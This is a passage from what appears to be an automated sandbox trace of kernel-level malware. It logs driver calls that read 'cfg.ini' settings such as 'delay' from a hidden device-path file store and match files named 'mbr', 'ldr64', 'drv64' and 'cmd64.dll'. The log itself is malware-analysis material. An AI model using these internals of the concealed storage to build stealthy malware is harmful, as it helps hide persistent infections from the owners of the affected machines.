Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.590] KeLeaveCriticalRegion () [0120.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.590] KeEnterCriticalRegion () [0120.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.590] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.590] IdePortDispatch () returned 0x103 [0120.590] KeWaitForMutexObject () returned 0x0 [0120.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.591] KeLeaveCriticalRegion () [0120.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.591] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.591] KeEnterCriticalRegion () [0120.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a5000 [0120.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.591] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.591] IdePortDispatch () returned 0x103 [0120.591] KeWaitForMutexObject () returned 0x0 [0120.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.591] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.591] IdePortDispatch () returned 0x103 [0120.591] KeWaitForMutexObject () returned 0x0 [0120.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.591] KeLeaveCriticalRegion () [0120.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.592] KeEnterCriticalRegion () [0120.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.592] KeLeaveCriticalRegion () [0120.592] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.592] KeEnterCriticalRegion () [0120.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.592] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.592] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.592] KeLeaveCriticalRegion () [0120.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.592] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.592] KeEnterCriticalRegion () [0120.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.592] ExFreePoolWithTag (P=0xfffffa8003bba360, Tag=0x0) [0120.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.592] KeLeaveCriticalRegion () [0120.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.592] ReleaseMutex (hMutex=0xf0) returned 1 [0120.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.592] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.592] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.593] KeEnterCriticalRegion () [0120.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.593] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.593] IdePortDispatch () returned 0x103 [0120.593] KeWaitForMutexObject () returned 0x0 [0120.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.593] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.593] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.593] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.593] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.593] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.593] KeLeaveCriticalRegion () [0120.593] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.593] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.593] KeEnterCriticalRegion () [0120.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.593] KeLeaveCriticalRegion () [0120.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.593] KeEnterCriticalRegion () [0120.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.593] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.593] IdePortDispatch () returned 0x103 [0120.593] KeWaitForMutexObject () returned 0x0 [0120.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.594] KeLeaveCriticalRegion () [0120.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.594] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.594] KeEnterCriticalRegion () [0120.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a6000 [0120.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.594] IdePortDispatch () returned 0x103 [0120.594] KeWaitForMutexObject () returned 0x0 [0120.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.594] IdePortDispatch () returned 0x103 [0120.594] KeWaitForMutexObject () returned 0x0 [0120.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.594] KeLeaveCriticalRegion () [0120.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.595] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.595] KeEnterCriticalRegion () [0120.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] KeLeaveCriticalRegion () [0120.595] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.595] KeEnterCriticalRegion () [0120.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] KeLeaveCriticalRegion () [0120.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.595] KeEnterCriticalRegion () [0120.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] KeLeaveCriticalRegion () [0120.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.595] ReleaseMutex (hMutex=0xf0) returned 1 [0120.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.595] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.595] KeEnterCriticalRegion () [0120.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.595] IdePortDispatch () returned 0x103 [0120.596] KeWaitForMutexObject () returned 0x0 [0120.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc130 [0120.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.596] KeLeaveCriticalRegion () [0120.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.596] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.596] KeEnterCriticalRegion () [0120.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.596] KeLeaveCriticalRegion () [0120.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.596] KeEnterCriticalRegion () [0120.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.596] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.596] IdePortDispatch () returned 0x103 [0120.596] KeWaitForMutexObject () returned 0x0 [0120.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.596] KeLeaveCriticalRegion () [0120.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.596] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.597] KeEnterCriticalRegion () [0120.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a7000 [0120.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.597] IdePortDispatch () returned 0x103 [0120.597] KeWaitForMutexObject () returned 0x0 [0120.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.597] IdePortDispatch () returned 0x103 [0120.597] KeWaitForMutexObject () returned 0x0 [0120.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.597] KeLeaveCriticalRegion () [0120.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.598] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.598] KeEnterCriticalRegion () [0120.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] KeLeaveCriticalRegion () [0120.598] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.598] KeEnterCriticalRegion () [0120.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] KeLeaveCriticalRegion () [0120.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.598] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.598] KeEnterCriticalRegion () [0120.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] ExFreePoolWithTag (P=0xfffffa8003bbc130, Tag=0x0) [0120.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] KeLeaveCriticalRegion () [0120.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.598] ReleaseMutex (hMutex=0xf0) returned 1 [0120.598] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.598] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.598] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.598] KeEnterCriticalRegion () [0120.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.598] IdePortDispatch () returned 0x103 [0120.598] KeWaitForMutexObject () returned 0x0 [0120.599] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.599] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.599] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.599] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.599] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.599] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.599] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.599] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.599] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.599] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.599] KeLeaveCriticalRegion () [0120.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.599] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.599] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.599] KeEnterCriticalRegion () [0120.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.599] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.599] IdePortDispatch () returned 0x103 [0120.599] KeWaitForMutexObject () returned 0x0 [0120.599] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.599] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.599] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.599] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.599] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.599] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.599] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.599] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.599] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.599] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned 